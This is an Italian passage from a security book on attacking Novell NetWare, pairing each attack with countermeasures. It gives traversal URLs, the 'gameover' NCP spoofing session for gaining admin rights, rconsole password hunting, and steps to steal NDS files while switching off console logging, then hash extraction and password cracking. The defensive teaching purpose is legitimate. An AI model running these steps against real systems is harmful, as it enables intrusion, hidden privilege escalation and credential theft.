Come conseguenza della vulnerabilità appena illustrata sopra, nel giugno 2002 i servizi FTP e DHCP su NetWare sono stati oggetto di numerosi attacchi di tipo buffer overflow. Sebbene DHCP sia raramente interfacciato direttamente con Internet, possono comunque essere lanciati attacchi interni.

Un hacker può scegliere di inviare richieste DHCP non standard e di grandi dimensioni che obbligheranno il server NetWare a interrompere le risposte o ne causeranno il blocco, per risolvere il quale si renderà necessario riavviare la macchina. Il server FTP viene messo in difficoltà quando in luogo del nome utente si inseriscono lunghe stringhe di testo: questa situazione manda il server FTP in stato di ABEND (cioè, in crash), per risolvere il quale e riacquistare tutte le funzionalità sarà necessario riavviare il server.

Contromisura al buffer overflow di DHCP e FTP su NetWare

L'unico rimedio è applicare la patch fornita da Novell nel luglio 2002, scaricabile all'indirizzo Web `http://support.novell.com/servlet/tidfinder/2962999`.

NetWare Web Server

Diffusione:	6
Semplicità:	7
Impatto:	9
Fattore di rischio:	7

L'attacco del server Web di NetWare è stato scoperto nel 1996. Le versioni più antiche del server Web di NetWare 4.*x* non controllavano i parametri che venivano passati agli script Basic convert.bas. Per questo motivo era possibile accedere con facilità ai file presenti sul server, compresi i file `autoexec.ncf`, `ldremote.ncf` e `netinfo.cfg`. I passaggi seguenti illustrano un metodo che vi consente di verificare se siete vulnerabili a questo tipo di attacco.

1. Interrogate dal browser Web il file di script `convert.bas` e passate come parametro uno dei file presenti sul disco. Per esempio:

```
http://www.server.com/scripts/convert.bas?../../system/autoexec.ncf
```

2. Se riuscite a vedere il contenuto del file `autoexec.ncf`, allora siete vulnerabili all'attacco.

Contromisure per il NetWare Web Server

Aggiornate la versione del Web Server all'indirizzo `http://www.support.novell.com`, oppure almeno alla versione 2.51R1. Novell ha corretto i difetti degli script Basic nella directory SCRIPTS, in modo che l'accesso possa avvenire solamente per file già stabiliti.

Visualizzazione del codice sorgente di TomCat su NetWare 6

Diffusione:	6
Semplicità:	7
Impatto:	9
Fattore di rischio:	7

Come già sanno molti amministratori di Microsoft IIS, i file di prova distribuiti insieme ai server Web possono essere fonte di problemi. È quanto avviene nel rilascio più recente di NetWare 6, in cui un file di prova abilita il client a visualizzare i file presenti sul server. Eccone un esempio:

```
http://www.server.com/examples/jsp/source.jsp?%2e%2e/%2e%2e/
%2e%2e/%2e%2e/etc/console.log
```

Se potete visualizzare il contenuto del file di log della vostra console, gli hacker possono in qualsiasi momento accedere al vostro server in questo semplice modo, e con un comando simile ottenere il file `autoexec.ncf`, oppure `ldremote.ncf`: ancora peggio, potrebbero scoprire la vostra password RCONSOLE (a questo proposito, consultate il paragrafo sulle alternative a RCONSOLE, più avanti in questo capitolo). Se un hacker ottiene l'accesso alla console di sistema, sarà difficile fermarlo.

Contromisura alla visualizzazione del codice sorgente di TomCat su NetWare 6

In NetWare, come pure nel mondo Windows, gli script di esempio sono molto utili durante la fase di test delle macchine, ma costituiscono un rischio per la sicurezza dei sistemi di produzione. Ricordate sempre di rimuovere tutti gli script di esempio, prima di mettere ufficialmente in rete il vostro server NetWare. È l'unica contromisura possibile per questo tipo di attacchi.

Visualizzazione delle informazioni sul server Web di Novonyx per NetWare 5

Diffusione:	*2*
Semplicità:	*8*
Impatto:	*1*
Fattore di rischio:	*4*

I flussi di sicurezza delle applicazioni Web, che agli amministratori di IIS sembrano preistoria, sono in qualche misura ancora utilizzati da NetWare Enterprise Web Server. In diversi script di NetWare 5 si può trovare la visualizzazione delle informazioni riguardanti l'ambiente del server Web, basta visitare i seguenti URL (*nome_server* è il nome del server che si vuole visualizzare):

```
http://www.nome_server/perl/env.pl
http://www.nome_server/se/?SYS:/novonyx/suitespot/docs/sewse/misc/allfield
.jse
http://www.nome_server/se/?SYS:/novonyx/suitespot/docs/sewse/misc/test.jse
```

Un hacker che ha già effettuato il footprinting della rete può riuscire a trovare sia nomi dei server sia le informazioni sulla versione, semplicemente utilizzando il seguente comando:

```
http://www.nome_server/netbasic/websinfo.bas
```

Volete sapere quanto spazio libero è presente sul disco rigido di quel bel server Payroll sul quale state per portare a termine il vostro attacco? Non c'è problema:

```
http://www.nome_server/perl/samples/volscgi.pl
```

Ecco l'output dello script `volscgi.pl`:

```
Description   Total Space   Free Space   Block Size   Total Dir
SYS                 6065984              5390848        65536
66048
```

Quel server BorderManager possiede due o tre interfacce di rete? Perl consente di effettuare un controllo veloce e di ottenere l'informazione voluta:

```
http://www.nome_server/perl/samples/lancgi.pl
```

Qui di seguito è riportato l'output dello script `lancgi.pl`:

```
Description                               Address          Media Type
Compaq Ethernet or Fast Ethernet NIC      658B50004354     ETHERNET_802.2
Compaq Ethernet or Fast Ethernet NIC      658B50004354     ETHERNET_II
```

...e siccome siamo dei ficcanaso, andiamo anche a vedere il contenuto del file `autoexec.ncf` del server scelto come bersaglio. Se siamo fortunati, potremo anche trovare una password RCONSOLE:

```
http://www.nome_server/lcgi/sewse.nlm?sys:/novonyx/
suitespot/docs/sewse/viewcode.jse+httplist+httplist/
../../../../../system/autoexec.ncf
```

Contromisura alla visualizzazione delle informazioni sul server Web di Novonyx per NetWare 5

Gli script di esempio, come già detto in precedenza, non dovrebbero fare parte dei sistemi di produzione, quindi liberatevi di questi file prima di mettere ufficialmente in rete il vostro server NetWare.

Vulnerabilità Directory Traversal di NetBasic

Diffusione:	*5*
Semplicità:	*9*
Impatto:	*9*
Fattore di rischio:	*8*

Nel luglio 1998 Novell ha incluso tra le sue licenze NetBasic 7.0, della HiTecSoft (*High Technology Software Corporation*): questo prodotto permette agli sviluppatori di creare applicazioni utilizzando semplici script in un linguaggio simile a Visual Basic, senza bisogno di utilizzare il compilatore e il linker Watcom (necessari, fino a questo momento, per scrivere un file NLM per NetWare). Sebbene sia stata un grosso passo avanti per gli sviluppatori, quest'innovazione ha aperto la strada anche allo sviluppo di una serie di worm ai danni dei sistemi NetWare collegati a Internet. Nella versione di NetWare più recente, la directory virtuale `/nsn/` corrisponde alla directory SYS:NSN/WEB del server Web, che per fortuna non contiene alcun file attaccabile con facilità dai pirati informatici. Nonostante questo, NetBasic può essere attaccato con la stessa tecnica di Directory Traversal usata sui sistemi IIS. La directory SYS:NSN/UTIL contiene, infatti, diversi script interessanti, ai quali si può accedere da remoto:

```
http://www.nome_server/nsn/..%5Cutil/slist.bas
http://www.nome_server/nsn/..%5Cutil/dsbrowse.bas
http://www.nome_server/nsn/..%5Cutil/dir.bas
```

La possibilità che un utente possa utilizzare lo script `dir.bas` per visualizzare da remoto il contenuto della partizione sulla quale è installato NetWare dovrebbe già costituire un motivo sufficiente per convincere qualsiasi amministratore a disabilitare NetBasic, tuttavia, se non siete ancora convinti, provate a digitare, all'interno di una barra degli indirizzi Web, un URL costituito dall'indicazione della directory virtuale

`/nsn/`, seguita da 230 caratteri: i moduli NetBasic delle versioni NetWare Small Business Suite, NetWare 5 o NetWare 6 subiranno il buffer overflow. Quando il modulo si bloccherà in stato di ABEND, l'hacker potrà sovrascrivere la memoria del sistema con dati o codice di sua scelta: quest'ultimo sarà eseguito nel contesto di sicurezza del modulo di NetBasic, che è davvero molto elevato. A tutt'oggi non si è ancora verificato nessun attacco di questo tipo, ma si può ragionevolmente ritenere che ciò sia dovuto più alla perdita di popolarità di NetWare che alla difficoltà di realizzare uno script in grado di portare a termine un simile attacco.

Contromisure alla vulnerabilità Directory Traversal di NetBasic

Se siete sicuri che l'azienda nella quale lavorate non possiede nessuna applicazione personalizzata scritta in linguaggio NetBasic, potete facilmente risolvere il problema eliminando questo componente dalla vostra installazione di NetWare. Se, invece, avete bisogno di NetBasic, è consigliabile installare la patch distribuita da Novell nell'agosto 2002, scaricabile all'indirizzo Web `http://support.novell.com/servlet/tidfinder/2963297`.

iManage e eMFrame su NetWare 6

Diffusione:	*2*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*7*

NetWare 6 è dotato di un'utilissima applicazione Web denominata iManage, che permette la gestione degli oggetti all'interno di eDirectory (un servizio di directory meglio noto con il nome di NDS). L'applicazione eMFrame, invece, semplifica la gestione di eDirectory basata sul ruolo delle diverse figure aziendali, ed è implementata come una servlet Java.

In eDirectory 8.6 la lunghezza massima della proprietà DN (*Distinguished Name*) è di 256 caratteri: se durante la procedura di autenticazione di eMFrame da parte di eDirectory si forniscono più di 256 caratteri si provoca il crash della servlet eMFrame, dopo il quale (per ripristinare le normali funzionalità di iManage) sarà necessario riavviare la macchina.

Contromisure per iManage e eMFrame su NetWare 6

Una misura di sicurezza fin troppo ovvia, ma purtroppo non implementabile, consiste nel consentire l'accesso a iManage ai soli utenti interni con privilegi di amministrazione, configurando opportunamente il firewall: non c'è motivo, infatti, di esporre a Internet i servizi di iManage. Se non utilizzate iManage, rimuovete il file NLM a esso relativo e cancellate la sua chiamata dal file `autoexec.ncf`; se invece ne avete bisogno installate la patch rilasciata da Novell nell'agosto 2002, scaricandola all'indirizzo Web `http://support.novell.com/servlet/tidfinder/2963081`.

NetWare Remote Manager

Diffusione:	2
Semplicità:	9
Impatto:	10
Fattore di rischio:	7

NetWare 5.1 ha dato, per primo, agli amministratori la possibilità di gestire da remoto i server di una NetWare utilizzando una connessione HTTPS sicura. La finestra di controllo di NetWare Remote Manager presenta una sorta di semaforo, in cui il rosso, il giallo e il verde rappresentano lo stato del server NetWare preso in esame. I servizi offerti da questo portale sicuro permettono di modificare la configurazione, e funzionano anche su macchine NetWare 6. Il Remote Manager viene installato di default sulla porta TCP 8009 e le sue richieste vengono gestite dal modulo `HTTPSTK.NLM`, che va in stato di ABEND quando nel campo del nome utente vengono digitati più di 626 caratteri; per il modulo `SERVER.NLM`, invece, devono essere inviati 595 caratteri. Una volta mandato in crash il servizio, da remoto sarà possibile inserire nella memoria dati strutturati, in quanto l'hacker avrà ottenuto un accesso alla console del sistema.

Contromisura per NetWare Remote Manager

Gli utenti di NetWare 5 devono installare il Support Pack 3, prima di procedere con l'installazione della patch per questa vulnerabilità. Per Netware 6 i file NLM corretti sono inclusi nel Support Pack 2, mentre quelli per NetWare 5.1 si trovano nel Support Pack 5. Potete, in ogni caso, reperirli all'indirizzo Web `http://support.novell.com/servlet/tidfinder/noheader/2962026`.

Attacchi di tipo spoofing (Pandora)

Diffusione:	3
Semplicità:	7
Impatto:	10
Fattore di rischio:	7

Se finora avete fallito nell'ottenere l'accesso all'utente amministratore, esiste uno strumento per l'attacco di tipo spoofing NCP scoperto dal NMRC (*Nomad Mobile Research Center*, `http://www.nmrc.org`) che offre all'utente i livelli di autorizzazione di un amministratore. Questo strumento è stato affettuosamente chiamato "Pandora" (`http://www.nmrc.org/pandora/download.html`) ed è disponibile nella versione 4.0. In queste pagine evidenzieremo, però, le caratteristiche della più diffusa versione 3.0. Affinché Pandora riesca a funzionare correttamente, è necessario che siano soddisfatti una serie di requisiti, elencati di seguito.

- Dovete avere una scheda di rete attiva, per cui è abilitato lo specifico packet driver. Solamente alcune schede di rete dispongono di un packet driver. Dovete contattare il fornitore o il produttore di schede di rete per accertare la disponibilità di questo driver. Abbiamo avuto successo con i seguenti

produttori: Netgear, D-Link e 3Com. Il packet driver, inoltre, deve essere configurato per agganciarsi all'interrupt 0x60.

- Per poter attivare Pandora, dovete caricare il supporto DOS DPMI. Potete scaricare i file necessari dal sito appena citato, dov'è disponibile il pacchetto Pandora.
- È necessario che troviate un contenitore nell'albero delle risorse che contenga sia l'utente Admin (o un amministratore) sia l'utente di livello inferiore per il quale siete in possesso delle credenziali corrette.

gameover

`gameover` (nome veramente appropriato) consente di trasformare un utente qualunque in un amministratore. Il programma funziona truccando una richiesta NCP e facendo in modo che il server NetWare 4.*x* consenta l'autorizzazione all'accesso di una richiesta di tipo `SET EQUIVALENT TO`. Di seguito viene mostrato il modo in cui dev'essere impostato il client DOS/Windows 95, per ottenere questo risultato.

1. Eseguite il boot in DOS.
2. Caricate il packet driver (per esempio un driver D-Link):

```
de22xpd 0x60
```

3. Caricate il supporto DPMI per DOS:

```
cwsdpmi
```

A questo punto, raccogliendo le informazioni con On-Site (occorre sempre autenticarsi con un nome utente valido), potete rintracciare le informazioni necessarie per ottenere le autorizzazioni di Admin sul server. Le informazioni utilizzate sono mostrate anche nella Figura 6.7. Avviate `gameover` nel modo seguente:

```
Gameover<cr>
Server internal net (4 bytes hex)
36FCC65D<cr>
Server address (6 bytes hex)
000000000001<cr>
File server connection number (int)
most probably '1' (seen as: '*<server_name>.<server.context>')
4<cr>
Server socket high (1 byte hex)
most probably '40'  40<cr>
Server socket low (1 byte hex)
Most probably '07'  39<cr>
User name to gain rights (does NOT have to be currently connected)
eculp<cr>
User name to get rights from (does not have to be currently connected)
Admin<cr>
Spoofing: Done.
```

Adesso potete effettuare l'autenticazione come utente ECULP e avrete magicamente i diritti di amministratore. Niente male, vero?

Figura 6.7
Come ciascun utente autorizzato potrete avere da On-Site tutte le informazioni necessarie per "diventare" amministratore.

Pandora, inoltre, contiene numerose altre utilità per NetWare che vale la pena di menzionare. Sono disponibili altri due programmi per eseguire lo spoofing NCP, chiamati `level1-1` e `level3-1`. Entrambi dovrebbero essere in grado di impostare la proprietà `SET EQUIVALENT` allo stesso modo di `gameover`, anche se in contesti diversi. Non siamo stati in grado di far funzionare correttamente questi programmi di utilità in laboratorio.

`Extract`, `crypto` e `crypto2`, sempre disponibili con Pandora, sono programmi di crack di password NDS e verranno trattati in seguito nel paragrafo dedicato al crack di NDS. Per finire, `havoc` è un eccellente programma che provoca un attacco di tipo Denial of Service.

Contromisure a Pandora

Fortunatamente esistono numerose contromisure in grado di fermare gli attacchi di spoofing. Nella maggior parte dei casi la contromisura da adottare dipende dalle specifiche NetWare del vostro server. Di seguito comunque troverete alcune linee guida per una corretta impostazione dei vostri sistemi.

- Non permettete mai all'utente Admin (o a un amministratore) di stare nello stesso contenitore insieme a normali utenti.

- Fate sì che le vostre password per l'utente Admin (incluse quelle degli utenti con privilegi di amministrazione) siano lunghe almeno 17 caratteri, in quanto Pandora funziona solo con password di questo tipo.
- Installate l'ultimo Support Pack 9 reperibile all'indirizzo `ftp://ftp.novell.com/pub/updates/nw/nw411/nw4sp9.exe`. Questa patch aggiorna il file DS.NLM e risolve i problemi provocati dagli attacchi di spoofing. Può essere scaricata liberamente dal sito di Novell `http://www.support.novell.com`.
- Le firme digitali cifrano i pacchetti NCP che attraversano la rete, contribuendo alla sicurezza interna soprattutto nei casi in cui il lavoro di cifratura e decifratura costituirebbe un sovraccarico per il server. Notate, comunque, che questa funzionalità influisce sulle prestazioni della CPU solo da 100 utenti in su.
- Inserite il comando `SET PACKET SIGNATURE OPTION = 3` prima dell'avvio di DS.NLM. Aggiungete questa riga all'inizio del file `autoexec.ncf` oppure alla fine del file `startup.ncf`.
- Potete anche chiamare lo script `SYS:SYSTEM\secure.ncf` dall'interno del file `autoexec.ncf`: questo script attiva la firma dei pacchetti e imposta altri piccoli particolari. Abbiate l'accortezza di inserire questo script all'inizio del file `autoexec.ncf`. Modificate il file `secure.ncf` e attivate la riga `SET PACKET SIGNATURE OPTION = 3`, eliminando il simbolo di commento.
- Abilitate la firma digitale dei pacchetti NCP per gli utenti a elevata sicurezza (come Admin), facendo clic con il tasto destro del mouse sull'icona della barra delle applicazioni che riporta una "N" rossa e selezionando la voce *Novell Client Properties* dal menu contestuale. Nella sezione *Advanced Settings*, impostate a 3 il valore *signature level*.

Utilizzo di Admin su un Server

A questo punto la parte più difficile del lavoro dell'hacker è finita. Una volta raggiunte le autorizzazioni di un utente amministratore, si è aperto gran parte dell'accesso all'albero delle risorse. Il prossimo passo consiste nell'ottenere l'accesso `rconsole` per estorcere i file NDS.

Hacking di rconsole

Diffusione:	*8*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*9*

Il metodo più semplice per ottenere la password di `rconsole` si basa sulla pigrizia degli amministratori. L'impostazione predefinita della password di `rconsole` di solito è scritta in chiaro in un file specifico. I passaggi elencati di seguito illustrano dove cercarla.

1. Visualizzate il file SYS:\SYSTEM\autoexec.ncf.
2. Cercate la riga `load remote`. La password dovrebbe essere il parametro successivo. Di solito è scritta in chiaro:

```
load remote ucantcme
```

3. Se non vedete una password in chiaro, ma il parametro `-E` seguito da una stringa alfanumerica, dovrete complimentarvi con gli amministratori del sistema, perché la password di `remote` è stata scritta in formato cifrato:

```
load remote -E 158470C4111761309539D0
```

Per un hacker risoluto questo è solo un ostacolo aggiuntivo sulla strada che conduce al controllo del vostro sistema; infatti, uno di questi, che si fa chiamare "Dreamer" (o "TheRuiner"), ha recentemente decifrato l'algoritmo di hash e ha scritto un programma in Pascal per decifrare la password `remote` (`http://packetstormsecurity.nl/Netware/penetration/Remote.zip`). Sul sito di Hacking Exposed, all'indirizzo `http://www.hackingexposed.com`, potete anche trovare il programma Perl che noi stessi abbiamo scritto e che esegue la stessa funzione.
L'unico trucco necessario per poter utilizzare `rconsole` consiste, quindi, nel trovare la password (in formato cifrato o meno). Se avete difficoltà a recuperare la password dal sistema, provate a seguire i consigli elencati di seguito.

- Se non trovate `load remote` nel file `autoexec.ncf`, non vi scoraggiate; la pass-word potrebbe risiedere in un altro file NCF. Per esempio il file `SYS:SYSTEM\ldremote.ncf` viene utilizzato in modalità predefinita per contenere il comando `load remote`. Potete ricercare la password in chiaro o cifrata all'interno di questo file.
- Se ancora non riuscite a trovare `load remote`, questo potrebbe significare che l'amministratore di sistema ha permesso a `inetcfg` di spostare tutto il contenuto di `autoexec.ncf` nei file `initsys.ncf` e `netinfo.cfg`. Entrambi questi file risiedono in SYS:ETC. Quando un amministratore avvia `inetcfg` alla console, il programma cerca di spostare tutti i comandi contenuti nel file `autoexec.ncf` all'interno dei file di configurazione di `inetcfg`. Come risultato, la password (sempre in chiaro o cifrata) dovrebbe trovarsi all'interno di uno di questi file, esattamente come era disponibile nel file `autoexec.ncf`.

Contromisure per rconsole (password in chiaro)

La vera soluzione al problema delle password in chiaro consiste nel non usare le password: nel caso in cui per accedere alla console remota debba essere richiesta una procedura di autenticazione (talvolta non lo è), prendete in considerazione la possibilità di utilizzare l'applicazione RCONJ per NetWare 5.*x*, oppure una delle tante utility di terze parti create appositamente per questo scopo: tra le tante consigliamo sfConsole di AdRem, che anziché richiedere la stessa password a tutti gli amministratori effettua la cifratura a 128 bit del flusso dei dati e una procedura di autenticazione della sessione remota presso l'NDS.
Se proprio volete utilizzare `rconsole` (anche se non se ne vede il motivo), Novell fornisce un meccanismo che consente di cifrare la password di `rconsole` con il comando `remote encrypt`. I passaggi seguenti spiegano come attivare la cifratura.

1. Assicuratevi che `rspx` e `remote` non siano caricati.
2. Nella console digitate `load remote` *`password`* (inserite la password corretta).
3. Alla console digitate `remote encrypt`.
4. Inserite la password di `rconsole`.

5. Il programma vi chiederà se volete aggiungere la password al file SYS:SYSTEM\ldremote.ncf. Rispondete in modo affermativo.
6. Rimuovete la password dai file `autoexec.ncf` o `netinfo.cfg`.
7. Assicuratevi di aggiungere ldremote.ncf nel file autoexec.ncf per chiamare il comando `load remote`.

Non esistono altre soluzioni per questa debolezza. Verificate in ogni caso all'indirizzo Web `http://packetstormsecurity.nl/Netware/penetration/Remote.zip` *e riconsiderate l'opportunità di utilizzare* `rconsole`.

Entrare in possesso dei file NDS

Diffusione:	*8*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9*

Dopo aver ottenuto la password di console, il passo finale consiste nell'accedere ai file NDS. Novell conserva i file NDS in una directory nascosta chiamata *_netware* sul volume SYS. L'unico modo per accedere a questa directory è attraverso l'accesso alla console (oppure a `rconsole` per un hacker che si è già introdotto). Esistono diverse tecniche per entrare in possesso di un file NDS e scoprirete che ciascun hacker preferisce certi metodi anziché altri.

NetBasic.nlm (SYS:SYSTEM)

Il componente di supporto di NetBasic, `netbasic.nlm`, possiede una capacità che è stata scoperta da un hacker: è in grado di accedere all'intero volume da riga di comando, compresa la directory nascosta *_netware*. Volendo, potete anche copiare i file della licenza (MSL.000) e quelli di auditing (NET$AUDT.CAF), che altrimenti non riuscireste a visualizzare.
NetBasic viene installato in modalità predefinita insieme a NetWare 4, 5 e 6, per cui la nostra tecnica preferita per l'accesso ai file NDS è di norma già presente. Inoltre NetBasic è l'unica tecnica di furto di file NDS che è in grado di copiare i file senza chiudere Directory Services. Di seguito trovate i passaggi da applicare per ottenere questo risultato.

1. Aprite `rconsole` con il comando `SYS:\PUBLIC\rconsole`.
2. Digitate `unload conlog` (con questo comando disattivate il log dei comandi della console).
3. Digitate `load netbasic.nlm`.
4. Digitate `shell`.
5. Digitate `cd \_netware` (questa è la directory nascosta, visibile solamente dalla console di sistema).
6. Digitate `md \login\nds`.
7. Digitate `copy block.nds \login\nds\block.nds`.
8. Digitate `copy entry.nds \login\nds\entry.nds`.

9. Digitate `copy partitio.nds \login\nds\partitio.nds`.
10. Digitate `copy value.nds \login\nds\value.nds`.

Se l'amministratore è stato così solerte da cancellare anche il modulo COPY.NLM , dovrete provvedere da voi. Novell ha rimosso questo file dal proprio sito Web, tuttavia potete reperirlo all'indirizzo `http://www.wastelands.gen.nz/netware/copynlm3.exe`.

11. Digitate `exit` (per uscire dalla shell).
12. Digitate `unload netbasic`.
13. Digitate `load conlog` (per riavviare il log della console).
14. Da una postazione client, utilizzate il comando `map` per collegare un'unità disco alla directory LOGIN\NDS creata in precedenza.
15. Copiate i file *.NDS sulla vostra postazione locale.
16. Avviate il cracking.

Dsmaint

Se gli amministratori di NetWare sono abbastanza accorti, NetBasic non sarà disponibile ai vostri tentativi di intrusione. In questo caso è necessario passare a metodi alternativi: Dsmaint. Questo modulo NLM non è presente nell'installazione standard di NetWare 4.11, ma può essere scaricato da Novell all'indirizzo `http://www.support.novell.com`. Il file si chiama DS411P.EXE ed è disponibile all'indirizzo `http://support.novell.com/servlet/filedownload/pub/ds411p.exe`. Vi avvertiamo in anticipo che, poiché l'aggiornamento Dsmaint chiude automaticamente i servizi di directory, nelle ore in cui il sistema viene maggiormente sfruttato è sconsigliabile effettuare l'installazione di questo aggiornamento. Per ripristinare i servizi di directory alle condizioni originali, dovete avviare le procedure di recupero Dsmaint. In altre parole, sicuramente non dovrete applicare su un server di produzione la procedura che segue.

1. Mappate un'unità a SYS:SYSTEM.
2. Copiate il file `dsmaint.nlm` sul disco mappato.
3. Ottenete l'accesso a rconsole con il comando `rconsole`.
4. Digitate `unload conlog` (con questo comando disattivate il log dei comandi della console).
5. Digitate `load dsmaint`.
6. Selezionate la voce *Prepare NDS For Hardware Upgrade.*
7. Collegatevi come Admin.

Questo comando disattiverà i servizi Directory Services.

Il file `backup.nds` viene salvato automaticamente nel volume SYS:SYSTEM.

1. Selezionate la voce *Restore NDS Following Hardware Upgrade.*
2. Digitate **`load conlog`**.
3. Nella vostra postazione client, mappate un'unità a SYS:SYSTEM.
4. Copiate il file `backup.nds` sul vostro disco locale.

5. Utilizzate la funzione `extract` disponibile con il pacchetto Pandora per creare i quattro file NDS (block, entry, partitio e value).
6. Avviate il cracking.

Il vecchio file `dsrepair.nlm` consente anche di preparare il sistema ad aggiornamenti hardware, in modo da creare i file NDS di backup in SYS:SYSTEM. Vi avvertiamo che `dsrepair` dovrebbe essere utilizzato solamente con le vecchie versioni di NetWare 4.*x* e in modo particolare non dovrebbe assolutamente essere installato sui sistemi che sono stati aggiornati con i Support Pack.

Jcmd

JRB Software Limited distribuisce una serie eccellente di programmi di utilità per NetWare da oltre sei anni: molti di questi possono essere utilizzati per monitorare la sicurezza dei server NetWare. Al contrario di NetBasic, Jcmd non è in grado di copiare i file NDS, mentre questi sono utilizzati. Per questo motivo, esattamente come `dsmaint.nlm`, l'utilizzo di Jcmd non è consigliato per i sistemi di produzione; infatti è necessario anche in questo caso disattivare Directory Services per procedere con la copia dei file. Per copiare i file NDS utilizzando Jcmd potete adottare la procedura elencata di seguito.

1. Mappate un'unità a SYS:SYSTEM.
2. Copiate `jcmd.nlm` sul disco mappato.
3. Aprite `rconsole` con il comando `SYS:\PUBLIC\rconsole`.
4. Digitate `unload conlog` (con questo comando disattivate il log dei comandi della console).
5. Digitate `unload ds`.
6. Digitate `load jcmd`.
7. Digitate `cd \_netware`. Viene visualizzata la schermata mostrata di seguito.

```
C:\WINNT\System32\cmd.exe - rconsole
Base features MS-DOS COMMAND.COM emulator version 1.30
Following commands are available:
 <drive>:                             logical drive (MSDOS) or volume selection
 CD <path>                            change directory of current drive
 MD <path>                            create directory
 DIR [drive:][path][file]             current or specified directory listing
 COPY [/S][/T][/D] [spath\]<file> [dpath]  file copy. Options: /S: copy subdir
                                           /T: + trustees, /D: Don't compress
 VER                                  displays program version
 EXIT                                 ends COMMAND.COM emulator session
 REN  [spath\][file] [dpath]          renames files or dirs. No wildcards allowed.
 DEL  [path\]<file>                   deletes file(s) or directory(ies)
 HELP                                 displays this help screen
 VOL                                  displays table of existing volumes
 SALV [path\][file] [/S[A]|/P[A]]     erased files listing (&handling)
 TYPE [path\]<file> [/B]              displays file(s) content (/B: binary)
 ATTR [filepath] [R|H|A|T|P|Sy|Sh +|-]  (re)sets file's attributes
 CMD  [filepath]                      use file as command source (no SALV /SP)
 LOGIN <server> [user[ CMDpwd]]       logs into another server (pwd only for CMD)
 LOG  [N] | [[E | A] logname]         creates logfile of None|Error|All
 ; <text>                             remark

Command may be written both UPPER / lower case. Works only for MSDOS name space.

SYS:\_NETWARE>
```

8. Digitate `dir *.*` (dovete utilizzare i caratteri jolly `*.*` per vedere i file con Jcmd).

9. Digitate `md\login\nds`.
10. Digitate `copy block.nds\login\nds`.
11. Digitate `copy entry.nds\login\nds`.
12. Digitate `copy partitio.nds\login\nds`.
13. Digitate `copy value.nds\login\nds`.
14. Digitate `exit` (per uscire dalla shell).
15. Digitate `load ds`.
16. Digitate `load conlog`.
17. Dalla postazione client, utilizzate il comando `map` per collegarvi alla directory SYS:LOGIN.
18. Copiate i file *.NDS in locale.
19. Avviate il cracking.

Contromisure al furto dei file NDS

Ancora una volta è possibile ridurre il rischio di furto di file NDS, riducendo il numero di armi che un hacker potrebbe utilizzare.

1. Cifrate la password di `rconsole` come è stato descritto in precedenza.
2. Rimuovete `netbasic.nlm` dal file SYS:\SYSTEM e utilizzate il comando `purge` sulla directory. Il file `netbasic.nlm` di solito non è necessario al normale funzionamento del server.

Cracking dei file NDS

Una volta che l'hacker è in grado di ottenere i vostri file NDS, la partita è praticamente finita. È ovvio che non vorrete in nessun caso arrivare fino a questo punto. Una volta estorti i file NDS, l'hacker cercherà senza dubbio di eseguire il cracking di questi file utilizzando uno dei tanti programmi disponibili. Utilizzando uno dei programmi di utilità gratuiti, disponibili su Internet, come IMP di Shade e `crypto` o `crypto2` di Pandora, chiunque sarà in grado di eseguire il crack dei file NDS.
Dal punto di vista di un amministratore di sistema, è sempre consigliabile scaricare i vostri file NDS come farebbe un ipotetico hacker e tentare poi di decifrare voi stessi le password contenute. Potete avviare il cracking utilizzando un dizionario di termini molto esteso e quando sarà individuata qualche password, potete fare in modo che l'utente corrispondente la modifichi immediatamente, costringendolo ad adottarne una più sicura. Oltre a essere un utile strumento di monitoraggio, questo esercizio vi consente di valutare la lunghezza delle password dei vostri utenti.
`crypto` e `crypto2`, disponibili insieme a Pandora, possono essere utilizzati rispettivamente per eseguire sui file NDS un attacco di forza bruta, oppure basato su un dizionario di parole. Per iniziare la decifrazione, applicate i passaggi seguenti.

1. Copiate i file `backup.nds` o `backup.ds` nella directory locale *\PANDORA \EXE*.
2. Utilizzate il programma di utilità `extract` per estrarre i quattro file NDS da `backup.nds`:

```
extract -d
```

3. Utilizzate di nuovo questo programma per estrarre gli hash delle password dai file NDS e create un file `password.nds`, come mostrato nella figura seguente.

```
extract -n
```

```
C:\WINNT\System32\cmd.exe

EXTRACT - Extract the password information from NDS files
          default path is current directory
Comments/bugs: pandora@nmrc.org
http://www.nmrc.org/pandora
1997,1998 (c) Nomad Mobile Research Centre

CN=Admin O=HSS 010000b9 10 02287c6f0499a2781efcdaa379d1f66c
CN=jscambray O=HSS 070000ef 6 3b4b359db7cab91b7deb584805 0bd1cb
CN=smcclure O=HSS 010000fa 8 0c4f0770468d44208410bba9d0882f15
CN=jsymoens O=HSS 010000fb 13 05cd071742ce4bf8ffb719b84a4efa16
CN=gkurtz O=HSS 010000fd 5 75b544541592832f920b7cd8af2f2334
CN=mdolphin O=HSS 010000fe 6 7a69c6f31061ee06c0010d723a4ff5eb
CN=deoane O=HSS 010000ff 5 39575a94aac0bc736cad587ee16268af
CN=jsmith O=HSS 01000100 0 72cab55bc906160883fd558488916bd9
CN=rpaul O=HSS 01000101 0 d5ebb5b346832e857798955350e2c5bf
CN=jhanley O=HSS 01000102 0 82ae2792c036f8e25f23b22de5217cdd
CN=mmeadows O=HSS 01000103 0 408f90de284c87e189e4db89371dab3f
CN=abirchard O=HSS 01000104 14 9a9133ab681de5dc709e53b51a0c6086
CN=ehammond O=HSS 01000105 0 f270e3feabd92e7737908288009765b0
CN=jbenson O=HSS 01000106 7 29a1de69aa0674733278611233 7d5e57
CN=eculp O=HSS 01000107 0 f4acedbc815b536f95cc245469a62208
CN=jhomey O=HSS 01000108 0 0c1ea9b009902073038a49578856de55
CN=tgoody O=HSS 01000109 5 a38c33704c709bdbeb378749f09d4ed9
CN=jgoldberg O=HSS 0100010a 0 73b517419afb8ed078575f36eb3d890d
CN=estein O=HSS 0100010b 0 b56fc130f7804b862c5f147e59cf0487
C:\novell\Pandora\EXE>_
```

4. Ora avviate `crypto` o `crypto2` per partire con l'attacco di tipo forza bruta oppure con l'ausilio di un dizionario. In questo modo comincerà il cracking di `password.nds`, come mostrato nella figura seguente.

```
crypto -u Admin
crypto2 dict.txt -u deoane
```

```
C:\WINNT\System32\cmd.exe

C:\novell\Pandora\EXE>crypto2 dict.txt -u deoane


CRYPTO2 - Dictionary Attack
Comments/bugs: pandora@nmrc.org
http://www.nmrc.org/pandora
